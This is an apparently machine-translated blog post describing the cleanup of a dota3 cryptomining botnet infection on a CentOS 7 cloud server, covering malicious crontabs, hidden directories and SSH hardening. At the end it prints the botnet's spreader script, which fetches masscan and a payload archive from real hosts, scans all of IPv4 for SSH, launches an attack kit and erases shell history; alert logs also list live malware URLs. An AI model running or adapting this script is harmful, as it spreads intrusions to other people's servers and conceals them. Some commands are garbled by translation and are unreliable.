Handling mining zombie network dota3 Trojan attacks under CentOS7

Keywords: crontab Unix rsync ssh

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In the early morning, I received alert text messages from Ali cloud server.Emergency security incident: access malicious download source, access malicious download IP.Instant wake up, immediately get up to handle.

First log in to Aliyun backstage, check the security center's warning mascot, found several records:

Parent process path: /usr/bin/bash
Parent process command line: SH-C. /tddwrt7s.shHttp://67.205.135.65/dota3.tar.gz"
"http://91.121.51.120/dota3.tar.gz" "http://51.75.28.134/dota3.tar.gz" 
"http://159.203.17.176/dota3.tar.gz" "http://46.101.113.206/dota3.tar.gz" 
"http://104.131.189.116/dota3.tar.gz" "http://81.12.13.145/dota3.tar.gz" >.out 2>&1 3>&1
Parent Process id: 15912
//Process id:15913
//User name: user_web
URL Links: http://91.121.51.120/dota3.tar.gz
//Process Path: /usr/bin/bash
//Command line parameters: /bin/bash. /tddwrt7s.shHttp://67.205.135.65/dota3.tar.gz(
http://91.121.51.120/dota3.tar.gz http://51.75.28.134/dota3.tar.gz 
http://159.203.17.176/dota3.tar.gz http://46.101.113.206/dota3.tar.gz 
http://104.131.189.116/dota3.tar.gz http://81.12.13.145/dota3.tar.gz
Parent process path: /usr/bin/bash
Parent process command line: -bash
Parent process id:9071
Process id:9186
User name: user_web
URL link:http://45.55.129.23/dota3.tar.gz
Process Path: /usr/bin/wget
Command line argument: WGetHttp://45.55.129.23/dota3.tar.gz

root account, log on to the server, troubleshoot problems.

Check if the server has a suspicious TCP port:

$ netstat -lnpt

No very useful ports were found.

According to the alert information, take the process id to find the corresponding process, none of them can be found.

I. Do a few things at once:

1. Modify user_web password (current server only has user_except root)Web authorization ssh login;
2. Modify the root password to prevent root from ssh login (user_can only be logged in first)Web, then cut to the root account;
3. Clear root, user_Ssh/authorized_under web directoryAll public keys in keys (all key logins are prohibited);

Then, step by step.
No corresponding process was found. See if there is a crontab. Execute it regularly. Exit the process after execution. The process id at the time of alert cannot be found.

2. Find crontab for all accounts of the server:

$ cat /etc/passwd | cut -f 1 -d : |xargs -I {} crontab -l -u {}
...
no crontab for tcpdump
no crontab for ntp
no crontab for saslauth
no crontab for mysql
5 8 * * 0 /home/user_web/.configrc/a/upd>/dev/null 2>&1
@reboot /home/user_web/.configrc/a/upd>/dev/null 2>&1
5 8 * * 0 /home/user_web/.configrc/b/sync>/dev/null 2>&1
@reboot /home/user_web/.configrc/b/sync>/dev/null 2>&1  
0 0 */3 * * /tmp/.X25-unix/.rsync/c/aptitude>/dev/null 2>&1
no crontab for haproxy
...

Found crontab, script in user_web directory.

-Delete/home/user_nowHidden directories used and unknown by crontab under web/directory.
-Check to see if user_crontab from web account:

$ crontab  -l -u user_web
5 8 * * 0 /home/user_web/.configrc/a/upd>/dev/null 2>&1
@reboot /home/user_web/.configrc/a/upd>/dev/null 2>&1
5 8 * * 0 /home/user_web/.configrc/b/sync>/dev/null 2>&1
@reboot /home/user_web/.configrc/b/sync>/dev/null 2>&1  
0 0 */3 * * /tmp/.X25-unix/.rsync/c/aptitude>/dev/null 2>&1

user_web up.Clean up user_All crontab s under the web.

$ crontab  -r -u user_web

3. Find if user_is still usedThe process in which the web account runs:

$ ps -ef | grep user_web
user_web      25408     1  0 00:14 ?        00:00:00 /tmp/.X25-unix/.rsync/c/lib/64/tsm --library-path /tmp/.X25-unix/.rsync/c/lib/64/ /tmp/.X25-unix/.rsync/c/tsm64 -t 515 -f 1 -s 12 -S 10 -p 0 -d 1 p ip
root     32695 30901  0 01:06 pts/1    00:00:00 grep --color=auto user_web


User_foundWeb execution process, path of script file, hidden file under / tmp / directory.

Kill the process first:

$ kill -9 25408

Enter directory:

$ cd /tmp/


Enter the directory to view all files, including hidden files:

$ ls -la

Remove hidden directories:

$ rm -rf .X25-unix

4. Find the sh script process again according to the process path/usr/bin/bash that appears in the alert:

$ ps -ef | grep sh
user_web  3768      1  0 00:00 ?      00:00:00 /bin/bash ./go
root      24487     1  0 Mar25 ?      01:53:25 /usr/sbin/sshd -D
user_web  25403 25402  0 00:14 ?      00:00:00 /bin/bash ./tsm -t 515 -f 1 -s 12 -S 10 -p 0 -d 1 p ip
root      30862 24487  0 01:37 ?      00:00:01 sshd: user_web [priv]
user_web  30866 30862  0 01:37 ?      00:00:00 sshd: user_web@pts/1
user_web  30867 30866  0 01:37 pts/1  00:00:00 -bash
root      30901 30896  0 01:38 pts/1  00:00:00 bash
root      31799 30901  0 01:53 pts/1  00:00:00 grep --color=auto sh


Several more suspicious processes were found.View the process information, find the process execution path cwd, the corresponding execution command cmd:

$ ll /proc/25403 

Find the process script path, kill the process, and delete the folder where the script file is located:

At this point, the cleaning is complete.

Follow-up: Enhance alerts for remote logins, enhance authentication for account logins, and add Google Authenticator deployments

Later, after a few days of observation, no warning information was received from Ali Yun.

Attach sh script source code, do not violate experiment, only for learning and research:

#!/bin/bash

if [[ $(id -u) -ne 0 ]] ; then echo "Please run as root" ; exit 1 ; fi

PR=1
PR=$(cat /proc/cpuinfo | grep model | grep name | wc -l)

ARCH=`uname -m`

if [[ "$ARCH" =~ ^arm ]]; then
    echo "Arm detected. Exiting"    
    exit
fi

if [ $PR -gt 9 ]; then
    echo "Too many CPUs. Exiting" 
    exit
else
    echo "CPUs ok"

#random sleep, for flood protection
rm -rf masscan*
rm -rf input.txt*

RANGE=440
s=$RANDOM
let "s %= $RANGE"
sleep $s
echo "test"

#is it good for masscan?

wget -q http://45.55.210.248/masscan || curl -s O -f http://104.236.72.182/masscan
sleep 25m
chmod 777 masscan
timeout 20s nohup ./masscan -p 22 --banner --rate 50000 --exclude 255.255.255.255 --exclude 10.0.0.0/8 --exclude 192.168.0.0/16 --exclude 127.0.0.0/8   --range 1.0.0.0-223.255.255.255 > input.txt 

sleep 1m

got=$(cat input.txt | grep OpenSSH | wc -l | awk -F: '{if($0>1)print$0}')

rm -rf masscan*
# if got > 1000; good for masscan; else exit

if [ $got -lt 1000 ]; then
    echo "Bad for masscan. Exiting" 
    rm -rf input.txt*
    exit
else
    echo "Good for masscan. Executing"
    rm -rf input.txt*
    #all good

    pkill -9 screen
    pkill -9 mass
    pkill -9 scan

    apt install expect -y
    yum install expect -y

    sleep 5s

    rm -rf /.a
    cd  / 
    mkdir .a
    cd .a
    wget -q http://45.55.129.23/mas.tar.gz || curl -s O -f http://45.55.129.23/mas.tar.gz 
    sleep 25m && tar xvf mas.tar.gz 
    rm -rf mas.tar.gz
    cd mass2ip
    nohup ./mass.sh >>/dev/null 2>1& 
    cd ~ 
    rm -rf .bash_history 
    history -c 
    history -nc
    fi
fi

Posted by lur on Wed, 20 May 2020 09:57:35 -0700